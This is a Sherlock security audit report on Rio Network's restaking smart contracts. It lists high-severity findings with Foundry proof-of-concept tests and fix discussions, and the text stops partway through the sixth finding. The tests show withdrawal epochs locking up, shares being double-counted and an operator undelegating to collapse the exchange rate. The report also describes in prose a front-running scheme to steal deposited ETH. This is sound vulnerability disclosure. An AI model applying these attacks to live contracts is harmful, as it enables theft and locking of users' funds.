SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Prepared for: Rio Network
Prepared by: Sherlock
Lead Security Expert: hash
Dates Audited: February 20 - March 7, 2024
Prepared on: April 18, 2024

Introduction

The liquid restaking network.

Scope

Repository: rio-org/rio-sherlock-audit

Branch: main

Commit: 02b9be62a676b2383070fa956a70e459eb2f5c5a

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
12	8

Issues not fixed or acknowledged

Medium	High
0	0

Issue H-1: Creating new withdrawal requests in conjunction with `settleEpochFromEigenLayer` will render system unusable

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/4

Found by

0xkaden, AuditorPraise, Aymen0909, Bauer, ComposableSecurity, Drynooo, HSP, KupiaSec, Stiglitz, Thanos, Tricko, almurhasan, aslanbek, bhilare_, cu5t0mPe0, deth, eeshenggoh, fnanni, g, giraffe, hash, iamandreiski, jovi, kennedy1030, klaus, lemonmon, lil.eth, monrel, mstpr-brainbot, mussucal, peanuts, popular, sakshamguruji, shaka, thec00n, zraxx, zzykxx

Summary

This issue pertains to the flow where a user requests to withdraw more funds than are currently present in the `depositPool` and the system must withdraw from Eigenlayer.

Users are able to create new withdrawal requests for the current epoch while the Eigenlayer withdrawal request is pending, as well as after the epoch has been marked `settled` in `settleEpochFromEigenLayer()`. This is due to the fact that `settleEpochFromEigenLayer()` does not increment the current epoch, as well as that there is no way to fulfill withdrawal requests submitted after the 7 day waiting period has been initiated. Submitting a withdrawal request will result in an inability to progress epochs and a locking of the system.

Vulnerability Detail

Consider the system in the following state:

- We are in epoch 0
- A user submitted a withdrawal request for an amount greater than what is currently in `depositPool`
- `rebalance() --> withdrawalQueue_.queueCurrentEpochSettlement()` has been called
- The system made a request to Eigenlayer for the necessary amount and the withdrawal request is ready to be claimed
- The next step is to call `RioLRTWithdrawalQueue:settleEpochFromEigenLayer()` link

The function `settleEpochFromEigenLayer()` performs several important tasks - completing pending withdrawals from Eigenlayer, accounting for the amounts received, burning the appropriate amount of LRTs, and marking the epoch as settled. It does NOT increment the epoch counter for the asset - the only way to do that is in `settleCurrentEpoch()`, which is only called in `rebalance()` when there is enough present in the `depositPool` to cover withdrawals.

After calling `settleEpochFromEigenLayer()`, the system is in a state where the current epoch has been marked as settled. However, while waiting for the 7 day Eigenlayer delay it is possible that more users sent withdrawal requests. These withdrawal requests would be queued for epoch 0 (and increment `sharesOwed` for epoch 0) , but were not considered when performing the withdrawal from Eigenlayer. There is no way to process these requests, as the epoch has already been settled + we can only call `queueCurrentEpochSettlement` once per epoch due to the `if (epochWithdrawals.aggregateRoot != bytes32(0)) revert WITHDRAWALS_ALREADY_QUEUED_FOR_EPOCH();` check

Notably, users that requested withdrawals have already sent the LRT amount to be burned and are unable to reclaim their funds.

Also note that there is no access control on `settleEpochFromEigenLayer()`, so as long as the provided withdrawal parameters are correct anybody can call the function.

Impact

Critical - system no longer operates, loss of users funds

Code Snippet

The following test can be dropped into `RioLRTWithdrawalQueue.t.sol`

```
function test_lockAsset() public {
        uint8 operatorId = addOperatorDelegator(reETH.operatorRegistry,
↪   address(reETH.rewardDistributor));
        address operatorDelegator =
↪   reETH.operatorRegistry.getOperatorDetails(operatorId).delegator;

        // Deposit ETH, rebalance, and verify the validator withdrawal
↪   credentials.
        uint256 depositAmount = (ETH_DEPOSIT_SIZE -
↪   address(reETH.depositPool).balance);
        uint256 withdrawalAmount = 10 ether;
        assertGt(depositAmount, withdrawalAmount * 2); // We will be withdrawing
↪   twice
        reETH.coordinator.depositETH{value: depositAmount}();
```


SHERLOCK

```
        vm.prank(EOA, EOA);
        reETH.coordinator.rebalance(ETH_ADDRESS);
        uint40[] memory validatorIndices =
↪   verifyCredentialsForValidators(reETH.operatorRegistry, 1, 1);

        // Request a withdrawal and rebalance to kick off the Eigenlayer
↪   withdrawal process
        reETH.coordinator.requestWithdrawal(ETH_ADDRESS, withdrawalAmount);
        skip(reETH.coordinator.rebalanceDelay());
        vm.prank(EOA, EOA);
        reETH.coordinator.rebalance(ETH_ADDRESS);

        // Ensure no reETH has been burned yet and process withdrawals.
        assertEq(reETH.token.totalSupply(), ETH_DEPOSIT_SIZE);
        verifyAndProcessWithdrawalsForValidatorIndexes(operatorDelegator,
↪   validatorIndices);

        // Settle the withdrawal epoch. This marks the epoch as settled and
        // makes the requested withdrawal amount available to be claimed.
        uint256 withdrawalEpoch =
↪   reETH.withdrawalQueue.getCurrentEpoch(ETH_ADDRESS);
        IDelegationManager.Withdrawal[] memory withdrawals = new
↪   IDelegationManager.Withdrawal[](1);
        withdrawals[0] = IDelegationManager.Withdrawal({
            staker: operatorDelegator,
            delegatedTo: address(1),
            withdrawer: address(reETH.withdrawalQueue),
            nonce: 0,
            startBlock: 1,
            strategies: BEACON_CHAIN_STRATEGY.toArray(),
            shares: withdrawalAmount.toArray()
        });
        reETH.withdrawalQueue.settleEpochFromEigenLayer(ETH_ADDRESS,
↪   withdrawalEpoch, withdrawals, new uint256[](1));

        IRioLRTWithdrawalQueue.EpochWithdrawalSummary memory epochSummary =
            reETH.withdrawalQueue.getEpochWithdrawalSummary(ETH_ADDRESS,
↪   withdrawalEpoch);
        // Epoch is settled
        assertTrue(epochSummary.settled);

        // However, the epoch has not been incremented - we're still in epoch 0
↪   even after settlement
        assertEq(reETH.withdrawalQueue.getCurrentEpoch(ETH_ADDRESS), 0);

        // We can still create new withdrawal requests for this epoch and
↪   increase sharesOwed
```


```
        uint256 sharesOwedBefore = epochSummary.sharesOwed;
        reETH.coordinator.requestWithdrawal(ETH_ADDRESS, withdrawalAmount);
        epochSummary =
↪   reETH.withdrawalQueue.getEpochWithdrawalSummary(ETH_ADDRESS,
↪   withdrawalEpoch);
        // Shares owed has increased
        assertGt(epochSummary.sharesOwed, sharesOwedBefore);

        // We've received one withdrawalAmount worth of assets from Eigenlayer
        assertEq(epochSummary.assetsReceived, withdrawalAmount);
        assertEq(epochSummary.shareValueOfAssetsReceived, withdrawalAmount);

        // Claim what was received from Eigenlayer (== one withdrawalAmount)
        uint256 balanceBefore = address(this).balance;
        uint256 amountOut = reETH.withdrawalQueue.claimWithdrawalsForEpoch(
            IRioLRTWithdrawalQueue.ClaimRequest({asset: ETH_ADDRESS, epoch:
↪   withdrawalEpoch})
        );
        IRioLRTWithdrawalQueue.UserWithdrawalSummary memory userSummary =
            reETH.withdrawalQueue.getUserWithdrawalSummary(ETH_ADDRESS,
↪   withdrawalEpoch, address(this));

        // The user has been marked as Claimed for this epoch, even though only
↪   one withdrawalAmount worth was claimed
        assertTrue(userSummary.claimed);
        assertEq(amountOut, withdrawalAmount);
        assertEq(address(this).balance - balanceBefore, withdrawalAmount);
        // sharesOwed for this epoch is 2 withdrawals worth (we're sitll missing
↪   one)
        assertEq(epochSummary.sharesOwed, withdrawalAmount * 2);

        // We can't rebalance because withdrawals have already been queued for
↪   this epoch
        // If we can't rebalance, we can't ever get to settleCurrentEpoch() to
↪   progress to the next epoch
        skip(reETH.coordinator.rebalanceDelay());
        vm.prank(EOA, EOA);
        vm.expectRevert(0x9a641da5); // WITHDRAWALS_ALREADY_QUEUED_FOR_EPOCH
        reETH.coordinator.rebalance(ETH_ADDRESS);

        // Current epoch is still 0
        assertEq(reETH.withdrawalQueue.getCurrentEpoch(ETH_ADDRESS), 0);

        // Reverts in pre-checks because the epoch has been marked as settled
        vm.expectRevert(0xad29946a); // EPOCH_ALREADY_SETTLED
        reETH.withdrawalQueue.settleEpochFromEigenLayer(ETH_ADDRESS,
↪   withdrawalEpoch, withdrawals, new uint256[](1));
```


```
    }
```

Tool used

Manual Review

Recommendation

Consider incrementing the current epoch as soon as the withdrawal process has been initiated, such that user withdrawal requests sent after an epoch has been queued for settlement will be considered a part of the next epoch

Discussion

solimander

Valid bug - `currentEpochsByAsset[asset] += 1;` should be called in `queueCurrentEpochSettlement`.

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/rio-org/rio-sherlock-audit/pull/1

10xhash

> The protocol team fixed this issue in PR/commit rio-org/rio-sherlock-audit#1.

Fixed The epoch is now incremented inside queueCurrentEpochSettlement function

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue H-2: Setting the strategy cap to "0" does not update the total shares held or the withdrawal queue

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/10

The protocol has acknowledged this issue.

Found by

Aymen0909, KupiaSec, g, hash, kennedy1030, mstpr-brainbot

Summary

Removing or setting the strategy cap to 0 will not decrease the shares held in the system. Additionally, it will not update the withdrawal queue, which means users can request withdrawals, and the withdrawals will exceed the allocated amount when rebalance occurs.

Vulnerability Detail

Let's go over the issue with an example:

Assume there is 1 strategy and 2 operators active in an LSR with total strategy shares holding is 1000 * 1e18 where both operators shares 500-500 the assets.

When the owner decides to inactivate or just simply sets one of the operators cap to "0" the operator will withdraw all its assets as follows:

```
function setOperatorStrategyCap(
        RioLRTOperatorRegistryStorageV1.StorageV1 storage s,
        uint8 operatorId,
        IRioLRTOperatorRegistry.StrategyShareCap memory newShareCap
    ) internal {
        .
        // @review this "if" will be executed
        -> if (currentShareDetails.cap > 0 && newShareCap.cap == 0) {
            // If the operator has allocations, queue them for exit.
            if (currentShareDetails.allocation > 0) {
                -> operatorDetails.queueOperatorStrategyExit(operatorId,
↪   newShareCap.strategy);
            }
            // Remove the operator from the utilization heap.
            utilizationHeap.removeByID(operatorId);
        } else if (currentShareDetails.cap == 0 && newShareCap.cap > 0) {
```

```
            // If the current cap is 0 and the new cap is greater than 0, insert
↪   the operator into the heap.
            utilizationHeap.insert(OperatorUtilizationHeap.Operator(operatorId,
↪   0));
        } else {
            // Otherwise, update the operator's utilization in the heap.
            utilizationHeap.updateUtilizationByID(operatorId,
↪   currentShareDetails.allocation.divWad(newShareCap.cap));
        }
        .
    }
```

```
function queueOperatorStrategyExit(IRioLRTOperatorRegistry.OperatorDetails
↪   storage operator, uint8 operatorId, address strategy) internal {
        .
        // @review asks delegator to exit
        -> bytes32 withdrawalRoot =
↪   delegator.queueWithdrawalForOperatorExit(strategy, sharesToExit);
        emit IRioLRTOperatorRegistry.OperatorStrategyExitQueued(operatorId,
↪   strategy, sharesToExit, withdrawalRoot);
    }
```

Then the operator delegator contract calls the EigenLayer to withdraw all its balance as follows:

```
function _queueWithdrawalForOperatorExitOrScrape(address strategy, uint256
↪   shares) internal returns (bytes32 root) {
       . // @review jumps to internal function
        -> root = _queueWithdrawal(strategy, shares, address(depositPool()));
    }

function _queueWithdrawal(address strategy, uint256 shares, address withdrawer)
↪   internal returns (bytes32 root) {
        IDelegationManager.QueuedWithdrawalParams[] memory withdrawalParams =
↪   new IDelegationManager.QueuedWithdrawalParams[](1);
        withdrawalParams[0] = IDelegationManager.QueuedWithdrawalParams({
            strategies: strategy.toArray(),
            shares: shares.toArray(),
            withdrawer: withdrawer
        });
        // @review calls Eigen layer to queue all the balance and returns the
↪   root
        -> root = delegationManager.queueWithdrawals(withdrawalParams)[0];
    }
```

Which we can observe from the above snippet the EigenLayer is called for the

withdrawal and then the entire function execution ends. The problem is `assetRegistry` still thinks there are 1000 * 1e18 EigenLayer shares in the operators. Also, the `withdrawalQueue` is not aware of this withdrawal request which means that users can call `requestWithdrawal` to withdraw up to 1000 * 1e18 EigenLayer shares worth LRT but in reality the 500 * 1e18 portion of it already queued in withdrawal by the owner of operator registry.

Coded PoC:

```
function test_SettingStrategyCapZero_WithdrawalsAreDoubleCountable() public {
        IRioLRTOperatorRegistry.StrategyShareCap[] memory zeroStrategyShareCaps =
            new IRioLRTOperatorRegistry.StrategyShareCap[](2);
        zeroStrategyShareCaps[0] =
↪   IRioLRTOperatorRegistry.StrategyShareCap({strategy: RETH_STRATEGY, cap: 0});
        zeroStrategyShareCaps[1] =
↪   IRioLRTOperatorRegistry.StrategyShareCap({strategy: CBETH_STRATEGY, cap: 0});

        uint8 operatorId = addOperatorDelegator(reLST.operatorRegistry,
↪   address(reLST.rewardDistributor));

        uint256 AMOUNT = 111e18;

        // Allocate to cbETH strategy.
        cbETH.approve(address(reLST.coordinator), type(uint256).max);
        uint256 lrtAmount = reLST.coordinator.deposit(CBETH_ADDRESS, AMOUNT);

        // Push funds into EigenLayer.
        vm.prank(EOA, EOA);
        reLST.coordinator.rebalance(CBETH_ADDRESS);

        vm.recordLogs();
        reLST.operatorRegistry.setOperatorStrategyShareCaps(operatorId,
↪   zeroStrategyShareCaps);

        Vm.Log[] memory entries = vm.getRecordedLogs();
        assertGt(entries.length, 0);

        for (uint256 i = 0; i < entries.length; i++) {
            if (entries[i].topics[0] ==
↪   keccak256('OperatorStrategyExitQueued(uint8,address,uint256,bytes32)')) {
                uint8 emittedOperatorId =
↪   abi.decode(abi.encodePacked(entries[i].topics[1]), (uint8));
                (address strategy, uint256 sharesToExit, bytes32 withdrawalRoot)
↪   =
                    abi.decode(entries[i].data, (address, uint256, bytes32));

                assertEq(emittedOperatorId, operatorId);
```

```
                assertEq(strategy, CBETH_STRATEGY);
                assertEq(sharesToExit, AMOUNT);
                assertNotEq(withdrawalRoot, bytes32(0));

                break;
            }
            if (i == entries.length - 1) fail('Event not found');
        }

        // @review add these
        // @review all the eigen layer shares are already queued as we checked
↪   above, now user requestWithdrawal
        // of the same amount of EigenLayer share worth of LRT which there will
↪   be double counting when epoch is settled.
        uint256 queuedShares =
↪   reLST.coordinator.requestWithdrawal(address(cbETH), lrtAmount);
        console.log("Queued shares", queuedShares);
    }
```

Impact

High, because the users withdrawals will never go through in rebalancing because of double counting of the same share withdrawals.

Code Snippet

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/utils/OperatorRegistryV1Admin.sol#L231-L270

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/utils/OperatorRegistryV1Admin.sol#L144-L165

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTOperatorDelegator.sol#L225-L227

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTOperatorDelegator.sol#L253-L258

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTOperatorDelegator.sol#L265-L273

Tool used

Manual Review

Recommendation

Update the withdrawal queue when the operator registry admin changes the EigenLayer shares amount by either removing an operator or setting its strategy cap to "0".

Discussion

solimander

Largely sounds like a duplicate of https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/361.

solimander

While the duplicates linked in this issue all look valid, but are related to the failure to zero out the strategy allocation after setting the strategy cap to 0.

solimander

This PR fixes the linked duplicates:
https://github.com/rio-org/rio-sherlock-audit/pull/14

solimander

@nevillehuang This issue seems to be a duplicate of https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/361, while all linked duplicates point to a slightly different issue where allocation is not zeroed out when force exiting an operator.

Issue H-3: Malicious operators can `undelegate` theirselves to manipulate the LRT exchange rate

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/53

Found by

g, giraffe, hash, mstpr-brainbot, zzykxx

Summary

If a malicious operator undelegates itself in EigenLayer delegation manager contract, the exchange rate of LRT can significantly decrease, and ETH/LST can become stuck, unable to be claimed by the Rio Delegator Approver contract.

Vulnerability Detail

Operators' delegator contracts delegate their balance to the operators. Operators can "undelegate" themselves from any delegation forwarded to them by triggering this function: DelegationManager.sol#L211-L258.

If the operator `undelegate` the delegator approver, then according to the strategy, there can be two things that happen:

1- Strategy shares: When the operator undelegates, the strategy shares delegated to the operator will be queued for withdrawal to the stakee address. In this case, the `staker` is the RIO operator delegator contract, which has no implementation to withdraw the queued withdrawal request since the withdrawer must be the "msg.sender." Therefore, the operator delegator must implement that functionality in such cases. The only downside to this is that the accounting of strategy shares to operators is tracked internally and not relied upon the StrategyManager's actual shares in the EigenLayer contract.

2- EigenPod shares: When EigenPod shares are `undelegate`, the EigenPod shares are removed. Unlike the strategy shares, the EigenPod shares are used to account for how much ETH is held by each operator. If an operator `undelegate`, then the entire EigenPod balance will be "0," and the RIO contracts are not prepared for this. This will erase a large amount of ETH TVL held by the Beacon Chain strategy, hence the LRT token exchange rate will change dramatically. Also, as with the above strategy shares issue, the `staker` is the operator delegator; hence, the operator delegator must implement the withdrawal functionality to be able to withdraw the ETH balance from the EigenPod.

Impact

High because of the "EigenPod shares" issue can unexpectedly decrease the TVL, leading to a decrease in the LRT exchange rate without warning which would affect the deposits/withdrawals of the LRT in different assets aswell.

Coded PoC:

```
// forge test --match-contract RioLRTOperatorRegistryTest --match-test
↪  test_UndelegateRemovesEigenPodShares -vv
    function test_UndelegateRemovesEigenPodShares() public {
        uint8 operatorId =
            addOperatorDelegator(reETH.operatorRegistry,
↪  address(reETH.rewardDistributor), emptyStrategyShareCaps, 10);

        // @review make a deposit
        reETH.coordinator.depositETH{value: 32 * 5 ether}();

        // Push funds into EigenLayer.
        vm.prank(EOA, EOA);
        reETH.coordinator.rebalance(ETH_ADDRESS);

        // Verify validator withdrawal credentials.
        uint40[] memory validatorIndices =
↪  verifyCredentialsForValidators(reETH.operatorRegistry, operatorId, 5);

        // @review get the addresses
        address operatorDelegator =
↪  reETH.operatorRegistry.getOperatorDetails(operatorId).delegator;
        RioLRTOperatorDelegator delegatorContract =
↪  RioLRTOperatorDelegator(payable(operatorDelegator));

        // @review all ether is in eigen pod shares
        assertEq(uint256(delegatorContract.getEigenPodShares()), 32 * 5 * 1e18);
        // @review the TVL is the 32*5 ether and the initial deposit
        assertEq(reETH.assetRegistry.getTVLForAsset(ETH_ADDRESS),
↪  160010000000000000000);

        // @review undelegate from the operator
        vm.prank(address(uint160(0 + 1)));
        delegationManager.undelegate(operatorDelegator);

        // @review eigenpod shares are removed fully
        assertEq(uint256(delegatorContract.getEigenPodShares()), 0);
        // @review the TVL is only the initial deposit
        assertEq(reETH.assetRegistry.getTVLForAsset(ETH_ADDRESS),
↪  10000000000000000);
```

```
    }
```

Code Snippet

https://github.com/Layr-Labs/eigenlayer-contracts/blob/6de01c6c16d6df44af15f0b06809dc160eac0ebf/src/contracts/core/DelegationManager.sol#L211-L258

Tool used

Manual Review

Recommendation

Discussion

solimander

Valid, but feels like it should be medium given precondition that you must be voted into the active operator set.

nevillehuang

Since operators are not trusted in the context of rio-protocol, I believe high severity to be appropriate since this allows direct manipulation of exchange rates and can cause stuck funds within rio contracts

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/rio-org/rio-sherlock-audit/pull/15

10xhash

> The protocol team fixed this issue in the following PRs/commits:
> rio-org/rio-sherlock-audit#15

Pausing functionality is added to reduce the impact. Operators are currently trusted wrt the undelegate functionality and further improvements will be made in upcoming versions

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue H-4: Deposits may be front-run by malicious operator to steal ETH

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/55

Found by

giraffe, hash, zzykxx

Summary

Delegated staking protocols may be exposed to a known vulnerability, where a malicious operator front-runs a staker's deposit call to the Beacon chain deposit contract and provides a different withdrawal credentials. This issue impacts Rio Network as well.

Vulnerability Detail

In Rio Network, approved operators are added to the operator registry. Thereafter, the operator adds validator details (public keys, signatures) to the same registry and awaits a confirmation period to pass (keys which are invalid may be removed by a security daemon) before the validators are active and ready to receive ETH.

When ETH is deposited and ready to be staked, RioLRTOperatorDelegator:stakeETH() is called which in turns calls `eigenPodManager.stake{value: ETH_DEPOSIT_SIZE}(publicKey, signature, depositDataRoot);` The withdrawal credentials point to the OperatorDelegator's Eigenpod.

A malicious operator may however front-run this transaction, by depositing 1 ETH into the Beacon chain deposit contract with the same validator keys but with a different, operator-controlled withdrawal credentials. Rio's OperatorDelegator's transaction would be successfully processed but the withdrawal credentials provided by the operator will **not be overwritten**.

The end state is a validator managing 1 ETH of node operator's funds and 32 ETH of Rio users' funds, fully controlled and withdrawable by the node operator.

Impact

While operators are trusted by the DAO, incoming ETH deposits could be as large as `ETH_DEPOSIT_SOFT_CAP` which is 3200 ETH, a sizeable incentive for an operator to turn malicious and easily carry out the attack (cost of attack = 1 ETH per validator). In fact, incoming deposits could exceed the soft cap (i.e. multiples of 3200 ETH), as

several `rebalance` could be called without delay to deposit all the ETH over a few blocks.

All deposited funds would be lost in such an attack.

This vulnerability also affected several LST/LRT protocols, see Lido and EtherFi reports.

Code Snippet

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTOperatorDelegator.sol#L204

Tool used

Manual Review

Recommendation

The Lido discussion extensively discusses possible solutions. My recommendations would be:

1) In order for validator key entries submitted by a node operator to be approved by the DAO, require the operator to pre-deposit 1 ETH with the correct protocol-controlled WC for each public key used in these deposit data entries. And upon approval of the validator keys, refund the operator the pre-deposited 1 ETH. or,
2) Adopt what Lido did which was to establish a committee of guardians who will be tasked to watch for the deposit contract and publish a signed message off-chain to allow deposit.

Rio should also consider reducing the incentives for an operator to act maliciously by 1) reducing the maximum amount of ETH which can be deposited in a single tx, and 2) implement a short delay between rebalances, even if the soft cap was hit (to prevent chaining rebalances to deposit a large amount of ETH).

Discussion

nevillehuang

Since operators are not trusted in the context of rio-protocol, I believe high severity to be appropriate since this allows direct stealing of material amount of funds

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/rio-org/rio-sherlock-audit/pull/12

10xhash

Fixed A guardian signature is now required to perform validator deposits. To prevent misuse of this using incorrect withdrawal credentials, now confirmed validators can also be removed

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue H-5: swapValidatorDetails incorrectly writes keys to memory, resulting in permanently locked beacon chain deposits

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/84

Found by

0xkaden, Stiglitz, hash

Summary

When loading BLS public keys from storage to memory, the keys are partly overwritten with zero bytes. This ultimately causes allocations of these malformed public keys to permanently lock deposited ETH in the beacon chain deposit contract.

Vulnerability Detail

ValidatorDetails.swapValidatorDetails is used by RioLRTOperatorRegistry.reportOutOfOrderValidatorExits to swap the details in storage of validators which have been exited out of order:

```
// Swap the position of the validators starting from the `fromIndex` with the
↪  validators that were next in line to be exited.
VALIDATOR_DETAILS_POSITION.swapValidatorDetails(operatorId, fromIndex,
↪  validators.exited, validatorCount);
```

In swapValidatorDetails, for each swap to occur, we load two keys into memory from storage:

```
keyOffset1 = position.computeStorageKeyOffset(operatorId, startIndex1);
keyOffset2 = position.computeStorageKeyOffset(operatorId, startIndex2);
assembly {
    // Load key1 into memory
    let _part1 := sload(keyOffset1) // Load bytes 0..31
    let _part2 := sload(add(keyOffset1, 1)) // Load bytes 32..47
    mstore(add(key1, 0x20), _part1) // Store bytes 0..31
    mstore(add(key1, 0x30), shr(128, _part2)) // Store bytes 16..47

    isEmpty := iszero(or(_part1, _part2)) // Store if key1 is empty

    // Load key2 into memory
```


SHERLOCK

```
    _part1 := sload(keyOffset2) // Load bytes 0..31
    _part2 := sload(add(keyOffset2, 1)) // Load bytes 32..47
    mstore(add(key2, 0x20), _part1) // Store bytes 0..31
    mstore(add(key2, 0x30), shr(128, _part2)) // Store bytes 16..47

    isEmpty := or(isEmpty, iszero(or(_part1, _part2))) // Store if key1 or key2
↪   is empty
}
```

The problem here is that when we store the keys in memory, they don't end up as intended. Let's look at how it works to see where it goes wrong.

The keys used here are BLS public keys, with a length of 48 bytes, e.g.: `0x95cfcb859956953f9834f8b14cdaa939e472a2b5d0471addbe490b97ed99c6eb8af94bc3ba4d4bfa93d087`
As such, previously to entering this for loop, we initialize key1 and key2 in memory as 48 byte arrays:

```
bytes memory key1 = new bytes(48);
bytes memory key2 = new bytes(48);
```

Since they're longer than 32 bytes, they have to be stored in two separate storage slots, thus we do two sloads per key to retrieve `_part1` and `_part2`, containing the first 32 bytes and the last 16 bytes respectively.

The following lines are used with the intention of storing the key in two separate memory slots, similarly to how they're stored in storage:

```
mstore(add(key1, 0x20), _part1) // Store bytes 0..31
mstore(add(key1, 0x30), shr(128, _part2)) // Store bytes 16..47
```

The problem however is that the second mstore shifts `_part2` 128 bits to the right, causing the leftmost 128 bits to zeroed. Since this mstore is applied only 16 (0x10) bytes after the first mstore, we overwrite bytes 16..31 with zero bytes. We can test this in chisel to prove it:

Using this example key:
`0x95cfcb859956953f9834f8b14cdaa939e472a2b5d0471addbe490b97ed99c6eb8af94bc3ba4d4bfa93d087`

We assign the first 32 bytes to `_part1`:

```
bytes32 _part1 =
↪   0x95cfcb859956953f9834f8b14cdaa939e472a2b5d0471addbe490b97ed99c6eb
```

We assign the last 16 bytes to `_part2`:

```
bytes32 _part2 = bytes32(bytes16(0x8af94bc3ba4d4bfa93d087d522e4b78d))
```

We assign 48 bytes in memory for `key1`:

```
bytes memory key1 = new bytes(48);
```

And we run the following snippet from swapValidatorDetails in chisel:

```
assembly {
  mstore(add(key1, 0x20), _part1) // Store bytes 0..31
  mstore(add(key1, 0x30), shr(128, _part2)) // Store bytes 16..47
}
```

Now we can check the resulting memory using `!memdump`, which outputs the following:

```
 !memdump
[0x00:0x20]: 0x0000000000000000000000000000000000000000000000000000000000000000
[0x20:0x40]: 0x0000000000000000000000000000000000000000000000000000000000000000
[0x40:0x60]: 0x00000000000000000000000000000000000000000000000000000000000000e0
[0x60:0x80]: 0x0000000000000000000000000000000000000000000000000000000000000000
[0x80:0xa0]: 0x0000000000000000000000000000000000000000000000000000000000000030
[0xa0:0xc0]: 0x95cfcb859956953f9834f8b14cdaa93900000000000000000000000000000000
[0xc0:0xe0]: 0x8af94bc3ba4d4bfa93d087d522e4b78d0000000000000000000000000000000
```

We can see from the memory that at the free memory pointer, the length of key1 is defined 48 bytes (0x30), and following it is the resulting key with 16 bytes zeroed in the middle of the key.

Impact

Whenever we swapValidatorDetails using reportOutOfOrderValidatorExits, both sets of validators will have broken public keys and when allocated to will cause ETH to be permanently locked in the beacon deposit contract.

We can see how this manifests in allocateETHDeposits where we retrieve the public keys for allocations:

```
// Load the allocated validator details from storage and update the deposited
↪  validator count.
(pubKeyBatch, signatureBatch) =
↪  ValidatorDetails.allocateMemory(newDepositAllocation);
VALIDATOR_DETAILS_POSITION.loadValidatorDetails(
    operatorId, validators.deposited, newDepositAllocation, pubKeyBatch,
↪  signatureBatch, 0
);
...
```

```
allocations[allocationIndex] = OperatorETHAllocation(operator.delegator,
↪  newDepositAllocation, pubKeyBatch, signatureBatch);
```

We then use the public keys to stakeETH:

```
(uint256 depositsAllocated, IRioLRTOperatorRegistry.OperatorETHAllocation[]
↪  memory allocations) = operatorRegistry.allocateETHDeposits(
    depositCount
);
depositAmount = depositsAllocated * ETH_DEPOSIT_SIZE;

for (uint256 i = 0; i < allocations.length; ++i) {
    uint256 deposits = allocations[i].deposits;

    IRioLRTOperatorDelegator(allocations[i].delegator).stakeETH{value: deposits
↪  * ETH_DEPOSIT_SIZE}(
        deposits, allocations[i].pubKeyBatch, allocations[i].signatureBatch
    );
}
```

Ultimately for each allocation, the public key is passed to the beacon DepositContract.deposit where it deposits to a public key for which we don't have the associated private key and thus can never withdraw.

Code Snippet

- https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/utils/ValidatorDetails.sol#L151
- https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/utils/ValidatorDetails.sol#L159

Tool used

Manual Review

Recommendation

We can solve this by simply mstoring `_part2` prior to mstoring `_part1`, allowing the mstore of `_part1` to overwrite the zero bytes from `_part2`:

```
mstore(add(key1, 0x30), shr(128, _part2)) // Store bytes 16..47
mstore(add(key1, 0x20), _part1) // Store bytes 0..31
```

Note that the above change must be made for both keys.

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/rio-org/rio-sherlock-audit/pull/2

10xhash

> The protocol team fixed this issue in PR/commit rio-org/rio-sherlock-audit#2.

Fixed Ordering is corrected as per recommendation

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue H-6: Requested withdrawal can be impossible to settle due to EigenLayer shares value appreciate when there are idle funds in deposit pool

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/109

Found by

g, mstpr-brainbot, zzykxx

Summary

When users request a withdrawal, the EigenLayer shares equivalent to their LRT's value are recorded. During settlement, these EigenLayer shares must be deducted to finalize the withdrawal epoch. However, in certain scenarios, the requested EigenLayer shares may be impossible to unwind due to funds idling in the deposit pool.

Vulnerability Detail

Let's assume that 1 LRT equals 1 EigenLayer-cbETH, which equals 1 cbETH initially.

Alice deposits 5e18 cbETH, and her deposits are allocated to operators after rebalancing. Now, Rio holds 5 EigenLayer-cbETH, which is worth 5 cbETH.

After some time, Bob deposits 100e18 cbETH to Rio and immediately withdraws it. At the time Bob requests this withdrawal, 100 cbETH is worth 100 EigenLayer-cbETH, so the shares owed are 100 EigenLayer-cbETH. At settlement, 100 EigenLayer-cbETH worth of cbETH has to be sent to the withdrawal queue to settle this epoch.

Now, assume that the value of EigenLayer-cbETH increases, meaning that 1 EigenLayer-cbETH is now worth more cbETH. This is an expected behavior because EigenLayer-cbETH is similar to an ERC4626 vault, and we expect its value to increase over time.

